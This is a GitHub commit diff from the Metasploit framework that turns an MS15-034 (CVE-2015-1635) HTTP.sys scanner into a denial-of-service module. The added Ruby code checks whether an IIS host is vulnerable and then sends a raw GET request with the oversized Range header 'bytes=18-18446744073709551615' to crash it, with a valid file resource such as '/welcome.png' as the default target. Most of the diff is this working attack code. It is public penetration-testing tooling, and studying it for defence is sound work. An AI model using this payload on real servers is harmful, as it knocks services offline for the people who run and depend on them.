Skip to content

Commit 3aa8e69

Browse files
committed
Converted to a DOS module
1 parent 19ab71a commit 3aa8e69

File tree

1 file changed

+41
-13
lines changed

1 file changed

+41
-13
lines changed

modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb renamed to modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb

Lines changed: 41 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -7,48 +7,76 @@
77

88
class Metasploit3 < Msf::Auxiliary
99

10+
# Watch out, dos all the things
1011
include Msf::Auxiliary::Scanner
1112
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Dos
1214

1315
def initialize(info = {})
1416
super(update_info(info,
15-
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Vulnerability',
17+
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
1618
'Description' => %q{
1719
This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
1820
vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
19-
execution. Please note this module could potentially cause a denail-of-service against
20-
the servers you're testing.
21+
execution. This module will try to cause a denail-of-service.
22+
23+
Please note that you must supply a valid file resource for the TARGETURI option.
24+
By default, IIS may come with these settings that you could try: iisstart.htm,
25+
welcome.png, iis-85.png, etc.
2126
},
2227
'Author' =>
2328
[
24-
'Bill Finlayson', # He did all the work (see the pastebin code), twitter: @hectorh56193716
25-
'sinn3r' # MSF version of bill's work
29+
# Bill did all the work (see the pastebin code), twitter: @hectorh56193716
30+
'Bill Finlayson',
31+
# MSF. But really, these people made it happen:
32+
# https://github.com/rapid7/metasploit-framework/pull/5150
33+
'sinn3r'
2634
],
2735
'References' =>
2836
[
2937
['CVE', '2015-1635'],
3038
['MSB', 'MS15-034'],
31-
['URL', 'http://pastebin.com/ypURDPc4']
39+
['URL', 'http://pastebin.com/ypURDPc4'],
40+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150']
3241
],
3342
'License' => MSF_LICENSE
3443
))
3544

3645
register_options(
3746
[
38-
OptString.new('TARGETURI', [true, 'The base path', '/'])
47+
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
3948
], self.class)
4049

4150
deregister_options('RHOST')
4251
end
4352

4453
def run_host(ip)
45-
code = check_host(ip)
46-
case code
47-
when Exploit::CheckCode::Vulnerable
48-
print_good("#{ip}:#{rport} - #{code.last}")
54+
if check_host(ip) == Exploit::CheckCode::Vulnerable
55+
dos_host(ip)
4956
else
50-
print_status("#{ip}:#{rport} - #{code.last}")
57+
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
58+
end
59+
end
60+
61+
def dos_host(ip)
62+
# In here we have to use Rex because if we dos it, it causes our module to hang too
63+
uri = normalize_uri(target_uri.path)
64+
begin
65+
cli = Rex::Proto::Http::Client.new(ip)
66+
cli.connect
67+
req = cli.request_raw({
68+
'uri' => uri,
69+
'method' => 'GET',
70+
'vhost' => 'stuff',
71+
'headers' => {
72+
'Range' => 'bytes=18-18446744073709551615'
73+
}
74+
})
75+
cli.send_request(req)
76+
rescue ::Errno::EPIPE, ::Timeout::Error
77+
# Same exceptions the HttpClient mixin catches
5178
end
79+
print_status("#{ip}:#{rport} - DOS request sent")
5280
end
5381

5482
def check_host(ip)
@@ -62,7 +90,7 @@ def check_host(ip)
6290
end
6391

6492
if res.code == 404
65-
print_error("#{ip}:#{rport} - URI must be a valid resource")
93+
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
6694
return
6795
end
6896

0 commit comments

Comments
 (0)